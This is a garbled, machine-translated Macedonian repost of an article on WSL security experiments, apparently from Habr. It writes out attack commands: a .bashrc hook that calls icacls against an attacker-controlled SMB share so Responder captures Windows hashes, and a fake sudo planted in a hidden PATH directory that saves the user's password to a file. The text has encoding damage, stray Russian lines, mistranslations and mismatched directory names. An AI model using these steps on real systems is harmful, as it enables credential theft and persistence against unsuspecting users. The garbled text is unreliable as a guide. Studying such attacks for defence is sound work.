Π΄Π΅Π» ΠΎΠ΄ Π΄Π°Ρ‚ΠΎΡ‚Π΅Ρ‡Π½ΠΈΡ‚Π΅ систСми.

Π‘Ρ†Π΅Π½Π°Ρ€ΠΈΠΎ:

  • A. Напад ΠΎΠ΄ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм Windows β€” ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡ˜Π° Π½Π° Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠΈ ΠΎΠ΄ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡƒΠΌΠΎΡ‚ /etc Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм Linux.
  • Π‘. Напад ΠΎΠ΄ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм Linux β€” ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡ˜Π° Π½Π° Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠΈ Π²ΠΎ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡƒΠΌΠΈ: C:Windows, C:Program Files, C:Users<User>

2. Π˜ΠΌΠΏΠ»Π΅ΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡ˜Π° Π½Π° ΠΌΡ€Π΅ΠΆΠ½ΠΈΠΎΡ‚ стСк.

Π˜ΡΡ‚Ρ€Π°ΠΆΡƒΠ²Π°ΡšΠ΅Ρ‚ΠΎ бСшС спровСдСно ΠΊΠΎΡ€ΠΈΡΡ‚Π΅Ρ˜ΡœΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΈ Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈ ΠΎΠ΄ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм Linux Π½Π° WindowsΠ‘Π΅Π° искористСни ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΡ‚Π΅ карактСристики Π½Π° ΠΌΡ€Π΅ΠΆΠ½ΠΈΠΎΡ‚ стСк, ΠΏΠΎΡ‚ΠΎΡ‡Π½ΠΎ Π½Π΅Π³ΠΎΠ²ΠΈΡ‚Π΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° Π°Π²Ρ‚Π΅Π½Ρ‚ΠΈΠΊΠ°Ρ†ΠΈΡ˜Π° Π·Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½ΠΈ рСсурси.

Π‘Ρ†Π΅Π½Π°Ρ€ΠΈΠΎ:

  • ΠžΡ‚Π²ΠΎΡ€Π°ΡšΠ΅ пристап Π΄ΠΎ ΠΏΠΎΡ€Ρ‚Π° ΡˆΡ‚ΠΎ Π΅ Π·Π°Ρ„Π°Ρ‚Π΅Π½Π° Π²ΠΎ систСмот Windows
  • ΠžΡ‚Π²ΠΎΡ€Π°ΡšΠ΅ ΠΏΠΎΡ€Ρ‚Π° Π±Π΅Π· соодвСтни ΠΏΡ€Π°Π²Π°
  • Π˜Π·Π²Ρ€ΡˆΡƒΠ²Π°ΡšΠ΅ Π½Π° ΠΎΠ±Ρ€Π°Ρ‚Π½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° со ΠΊΠΎΡ€ΠΈΡΡ‚Π΅ΡšΠ΅ Π½Π° elf Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠ° Π²ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π΅Π½ систСм Windows.

3. Π‘ΠΎΠΊΡ€ΠΈΠ²Π°ΡšΠ΅ Π½Π° ΡΡ‚Π°Ρ€Ρ‚ΡƒΠ²Π°ΡšΠ΅ Π½Π° ΠΌΠ°Π»ΠΈΡ†ΠΈΠΎΠ·Π΅Π½ софтвСр процСси со ΠΊΠΎΡ€ΠΈΡΡ‚Π΅ΡšΠ΅ Π½Π° WSL потсистСмот.

Π˜ΡΡ‚Ρ€Π°ΠΆΡƒΠ²Π°ΡšΠ΅Ρ‚ΠΎ бСшС засновано Π½Π° СдноставСн Ρ„Π°ΠΊΡ‚ - бСзбСдноснитС потсистСми Π½Π΅ ΠΌΠΎΠΆΠ°Ρ‚ Π΄Π° прСсрСтнуваат настани Π²ΠΎ Π΄Ρ€ΡƒΠ³ΠΎ Ρ˜Π°Π΄Ρ€ΠΎ ΡˆΡ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚ΠΈ со ΠΊΠΎΡ€ΠΈΡΡ‚Π΅ΡšΠ΅ Π½Π° Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ΅Π½ ΠΏΡ€ΠΎΠ²Π°Ρ˜Π΄Π΅Ρ€ ΠΎΠ΄ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм Π²ΠΎ ΡΠ»ΡƒΡ‡Π°Ρ˜ΠΎΡ‚ Π½Π° WSL 1. Π’ΠΎ ΡΠ»ΡƒΡ‡Π°Ρ˜ΠΎΡ‚ Π½Π° WSL 2, Π½Π΅ постои Π½Π°Ρ‡ΠΈΠ½ Π΄Π° сС ΠΏΡ€Π΅Π³Π»Π΅Π΄Π°Π°Ρ‚ настанитС ΡˆΡ‚ΠΎ сС случуваат Π²ΠΎ посСбСн ΠΊΠ΅Ρ€Π½Π΅Π» Π²ΠΎ Ρ€Π°ΠΌΠΊΠΈΡ‚Π΅ Π½Π° лСсната Π²ΠΈΡ€Ρ‚ΡƒΠ΅Π»Π½Π° машина.

Π‘Ρ†Π΅Π½Π°Ρ€ΠΈΠΎ:

1) Π‘Ρ‚Π°Ρ€Ρ‚ΡƒΠ²Π°Ρ˜Ρ‚Π΅ ја Π°ΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΡ˜Π°Ρ‚Π° Π·Π° далСчински пристап Π΄ΠΎ систСмот ΠΈ ΠΏΡ€Π΅Π³Π»Π΅Π΄Π°Ρ˜Ρ‚Π΅ Π³ΠΈ Π½Π°Ρ˜Π°Π²Π΅Π½ΠΈΡ‚Π΅ настани.

WSL 1 ЕкспСримСнти: Π₯Π°ΡˆΠΈΡ€Π°ΡšΠ΅ (ОБ Windows)

ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ стигнавмС Π΄ΠΎ ΠΏΡ€Π°ΠΊΡ‚ΠΈΡ‡Π½ΠΈΠΎΡ‚ Π΄Π΅Π». ΠŸΡ€Π²ΠΎ, Ρ‚Ρ€Π΅Π±Π° Π΄Π° ја поставимС срСдината Π·Π° Ρ‚Π΅ΡΡ‚ΠΈΡ€Π°ΡšΠ΅. Π‘ΠΈΡ‚Π΅ СкспСримСнти ќС сС спровСдуваат Π½Π° тСст-ΠΊΠ»ΡƒΠΏΠ° со Windows 10 2004. Π‘Π»ΠΈΠΊΠ°Ρ‚Π° Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм ΠΈΠ·Π±Ρ€Π°Π½Π° Π·Π° WSL бСшС Ubuntu 18.04 Π°ΠΏΡ€ΠΈΠ». Π‘Π»ΠΈΠΊΠ°Ρ‚Π° бСшС ΠΈΠ·Π±Ρ€Π°Π½Π° ΡΠ»ΡƒΡ‡Π°Ρ˜Π½ΠΎ, ΠΈ која Π±ΠΈΠ»ΠΎ Π΄Ρ€ΡƒΠ³Π° ќС Ρ€Π°Π±ΠΎΡ‚ΠΈ исто Ρ‚ΠΎΠ»ΠΊΡƒ Π΄ΠΎΠ±Ρ€ΠΎ. Команди Π·Π° ΠΏΠΎΡΡ‚Π°Π²ΡƒΠ²Π°ΡšΠ΅ Π½Π° поставката:

ΠŸΡ€Π²ΠΎ ΠΌΠΎΡ€Π° Π΄Π° Π·Π°ΠΏΠΎΡ‡Π½Π΅Ρ‚Π΅ powershell.exe ΠΊΠ°ΠΊΠΎ администратор.

Π—Π° WSL 1 Ρ‚Ρ€Π΅Π±Π° Π΄Π° Π³ΠΈ ΠΈΠ·Π²Ρ€ΡˆΠΈΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡ‚Π΅:

  1. ОвозмоТи-WindowsΠ€Π°ΠΊΡƒΠ»Ρ‚Π°Ρ‚ΠΈΠ²Π½Π° карактСристика -Он-лајн -ИмС Π½Π° ΠΎΠ΄Π»ΠΈΠΊΠ°Ρ‚Π° ΠœΠ°Ρ˜ΠΊΡ€ΠΎΡΠΎΡ„Ρ‚-Windows-ΠŸΠΎΠ΄ΡΠΈΡΡ‚Π΅ΠΌ-Linux #ОвозмоТи ја Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡ˜Π°Ρ‚Π° WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Π’Ρ‡ΠΈΡ‚Π°Ρ˜ слика Linux ΠΎΠ΄ ΠΏΡ€ΠΎΠ΄Π°Π²Π½ΠΈΡ†Π°Ρ‚Π° Π½Π° Microsoft

  • Ubuntu.appx install β€”root #Π˜Π½ΡΡ‚Π°Π»ΠΈΡ€Π°Ρ˜Ρ‚Π΅ ја сликата
  • МоТСби ќС Ρ‚Ρ€Π΅Π±Π° Π΄Π° ΠΊΠ»ΠΈΠΊΠ½Π΅Ρ‚Π΅ Π½ΠΈΠ· процСсот Π½Π° ΠΏΠΎΡΡ‚Π°Π²ΡƒΠ²Π°ΡšΠ΅ ΠΈ Π΄Π° ΠΊΡ€Π΅ΠΈΡ€Π°Ρ‚Π΅ Π½ΠΎΠ² корисник кој ΠΈΠΌΠ° ΠΏΠΎΠΌΠ°Π»ΠΊΡƒ ΠΏΡ€Π°Π²Π° ΠΎΠ΄ root. Π—Π° Π½Π°ΡˆΠΈΡ‚Π΅ тСстови, ΠΎΠ²Π° ќС Π±ΠΈΠ΄Π΅ ΠΎΠ±ΠΈΡ‡Π½ΠΈΠΎΡ‚ корисник sam.
  • Π Π΅ΡΡ‚Π°Ρ€Ρ‚ΠΈΡ€Π°ΡšΠ΅ Π½Π° ΠΊΠΎΠΌΠΏΡ˜ΡƒΡ‚Π΅Ρ€ΠΎΡ‚ #Π Π΅ΡΡ‚Π°Ρ€Ρ‚ΠΈΡ€Π°Ρ˜
  • ΠžΡ‚ΠΊΠ°ΠΊΠΎ ќС Π³ΠΎ рСстартиратС ΠΏΠΎΠ΄Π΅ΡΡƒΠ²Π°ΡšΠ΅Ρ‚ΠΎ, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ја ΠΈΠ·Π²Ρ€ΡˆΠΈΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° bash. Ако сè Ρ€Π°Π±ΠΎΡ‚Π΅ΡˆΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΎ, ќС Π²ΠΈΠ΄ΠΈΡ‚Π΅ сличСн ΠΈΠ·Π»Π΅Π· Π²ΠΎ ΠΊΠΎΠ½Π·ΠΎΠ»Π°Ρ‚Π°. Windows:

    WSL СкспСримСнти. Π”Π΅Π» 1

    ЌС ја користимС Π΄ΠΈΡΡ‚Ρ€ΠΈΠ±ΡƒΡ†ΠΈΡ˜Π°Ρ‚Π° Kali ΠΊΠ°ΠΊΠΎ машина Π½Π° Π½Π°ΠΏΠ°Ρ“Π°Ρ‡ΠΎΡ‚. Linux, ситС машини ΠΌΠΎΡ€Π° Π΄Π° Π±ΠΈΠ΄Π°Ρ‚ Π½Π° истата Π»ΠΎΠΊΠ°Π»Π½Π° ΠΌΡ€Π΅ΠΆΠ°.

    Π”Π° прСтпоставимС Π΄Π΅ΠΊΠ° ΠΈΠΌΠ°ΠΌΠ΅ Π½Π΅ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡ€Π°Π½ пристап Π΄ΠΎ WSL Π½Π° ΠΌΠ°ΡˆΠΈΠ½Π°Ρ‚Π° WindowsАјдС Π΄Π° сС ΠΎΠ±ΠΈΠ΄Π΅ΠΌΠ΅ Π΄Π° Π³ΠΎ Π½Π°ΠΏΠ°Π΄Π½Π΅ΠΌΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм. Linux, ΠΏΠΎΠ²ΠΈΠΊΡƒΠ²Π°Ρ˜ΡœΠΈ ја ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° ΠΎΠ΄ LinuxΠ—Π° Π΄Π° Π³ΠΎ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½Ρ‚ΠΈΡ€Π°ΠΌΠ΅ Π½Π°ΠΏΠ°Π΄ΠΎΡ‚, ќС користимС Сдноставна Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Π½Π° автоматско ΡΡ‚Π°Ρ€Ρ‚ΡƒΠ²Π°ΡšΠ΅ - ќС ја Π΄ΠΎΠ΄Π°Π΄Π΅ΠΌΠ΅ Π½Π°ΡˆΠ°Ρ‚Π° скрипта Π²ΠΎ ΠΎΠΊΠΎΠ»ΠΈΠ½Π°Ρ‚Π°. LinuxΠ—Π° Π΄Π° Π³ΠΎ Π½Π°ΠΏΡ€Π°Π²ΠΈΡ‚Π΅ ΠΎΠ²Π°, Ρ‚Ρ€Π΅Π±Π° Π΄Π° ја ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π° .bashrc.

    На машина со WSL ΠΈΠ·Π²Ρ€ΡˆΡƒΠ²Π°ΠΌΠ΅:

    	1. bash
    	2. ΠŸΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ Π² домашнюю Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ: cd /home/sam/
    	2. echo  Β«/home/sam/.attack.shΒ» >> .bashrc
    	3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Π‘ΠΎ Π°Π²Ρ‚ΠΎΠΌΠΎΠ±ΠΈΠ» Π½Π° Кали Linux ΠΈΠ·Π²Ρ€ΡˆΡƒΠ²Π°ΠΌΠ΅:

    1. Responder -I eth0 -rdvw

    Π‘ΠΎ Π°Π²Ρ‚ΠΎΠΌΠΎΠ±ΠΈΠ» Windows АјдС Π΄Π° Π·Π°ΠΏΠΎΡ‡Π½Π΅ΠΌΠ΅ баш.

    Π“ΠΈ Ρ‡Π΅ΠΊΠ°ΠΌΠ΅ Ρ€Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚ΠΈΡ‚Π΅ Π½Π° ΠΌΠ°ΡˆΠΈΠ½Π°Ρ‚Π° Kali. Linux:

    WSL СкспСримСнти. Π”Π΅Π» 1

    Π—Π½Π°Ρ‡ΠΈ, Π³ΠΈ Π΄ΠΎΠ±ΠΈΠ²ΠΌΠ΅ корисничкитС Ρ…Π΅ΡˆΠΎΠ²ΠΈ Windows ΠΏΡ€Π΅ΠΊΡƒ WSL подсистСмот со ΠΈΠ·Π²Ρ€ΡˆΡƒΠ²Π°ΡšΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° Π½Π° систСмот Linux.

    WSL 1 ЕкспСримСнти: Π”ΠΎΠ±ΠΈΠ²Π°ΡšΠ΅ корисничка Π»ΠΎΠ·ΠΈΠ½ΠΊΠ° (ОБ) Linux)

    АјдС Π΄Π° Π½Π°ΠΏΡ€Π°Π²ΠΈΠΌΠ΅ ΡƒΡˆΡ‚Π΅ Π΅Π΄Π΅Π½ СкспСримСнт. Π—Π° Π²Ρ€Π΅ΠΌΠ΅ Π½Π° ΠΎΠ²Π°Π° ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° ќС Π΄ΠΎΠ΄Π°Π΄Π΅ΠΌΠ΅ Π²ΠΎ Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π° .bashrc Π½Π΅ΠΊΠΎΠ»ΠΊΡƒ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π·Π° Π΄Π° сС Π΄ΠΎΠ±ΠΈΠ΅ корисничката Π»ΠΎΠ·ΠΈΠ½ΠΊΠ° Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм Linux.

    АјдС Π΄Π° Π³ΠΎ стартувамС bash ΠΈ Π΄Π° Π³ΠΈ внСсСмС ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡ‚Π΅:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Π—Π° Π½Π°ΠΏΠ°Π΄ΠΎΡ‚ Π΄Π° Π±ΠΈΠ΄Π΅ ΡƒΡΠΏΠ΅ΡˆΠ΅Π½, корисникот Π‘Π΅ΠΌ ΠΌΠΎΡ€Π° Π΄Π° ја ΠΏΠΎΠ²ΠΈΠΊΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π°Ρ‚Π° sudo Π²ΠΎ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»ΠΎΡ‚. LinuxПослС ΠΎΠ²Π°, Π»ΠΎΠ·ΠΈΠ½ΠΊΠ°Ρ‚Π° Π½Π° корисникот Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΈΠΎΡ‚ систСм Linux ќС Π±ΠΈΠ΄Π΅ Π²ΠΎ Π΄Π°Ρ‚ΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π° pass.txt:

    WSL СкспСримСнти. Π”Π΅Π» 1

    Π‘ΠΏΡ€ΠΎΠ²Π΅Π΄ΡƒΠ²Π°ΡšΠ΅Ρ‚ΠΎ Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈΡ‚Π΅ бСшС Π΄Π°Π΄Π΅Π½ΠΎ само Π·Π° тСорСтски ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.

    Π‘Π»Π΅Π΄Π½ΠΈΠΎΡ‚ Π΄Π΅Π» ΠΎΠ΄ ΡΡ‚Π°Ρ‚ΠΈΡ˜Π°Ρ‚Π° ќС ја опишС ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡ˜Π°Ρ‚Π° Π½Π° ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΡ‚ 9P, ќС размисли Π·Π° создавањС скСнСр Π·Π° овој ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ», Π° исто Ρ‚Π°ΠΊΠ° ќС ΠΈΠ·Π²Ρ€ΡˆΠΈ Π½Π°ΠΏΠ°Π΄ ΠΊΠΎΡ€ΠΈΡΡ‚Π΅Ρ˜ΡœΠΈ Π³ΠΎ.

    Бписок Π½Π° користСна Π»ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΡƒΡ€Π°

    WSL СкспСримСнти. Π”Π΅Π» 1

    ΠŸΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ˜ повСќС

    Π˜Π·Π²ΠΎΡ€: www.habr.com

    ΠšΡƒΠΏΠ΅Ρ‚Π΅ Π΄ΠΎΠ²Π΅Ρ€Π»ΠΈΠ² хостинг Π·Π° ΡΠ°Ρ˜Ρ‚ΠΎΠ²ΠΈ со DDoS Π·Π°ΡˆΡ‚ΠΈΡ‚Π°, VPS VDS сСрвСри πŸ”₯ ΠšΡƒΠΏΠ΅Ρ‚Π΅ сигурСн Π²Π΅Π±-хостинг со DDoS Π·Π°ΡˆΡ‚ΠΈΡ‚Π°, VPS VDS сСрвСри | ProHoster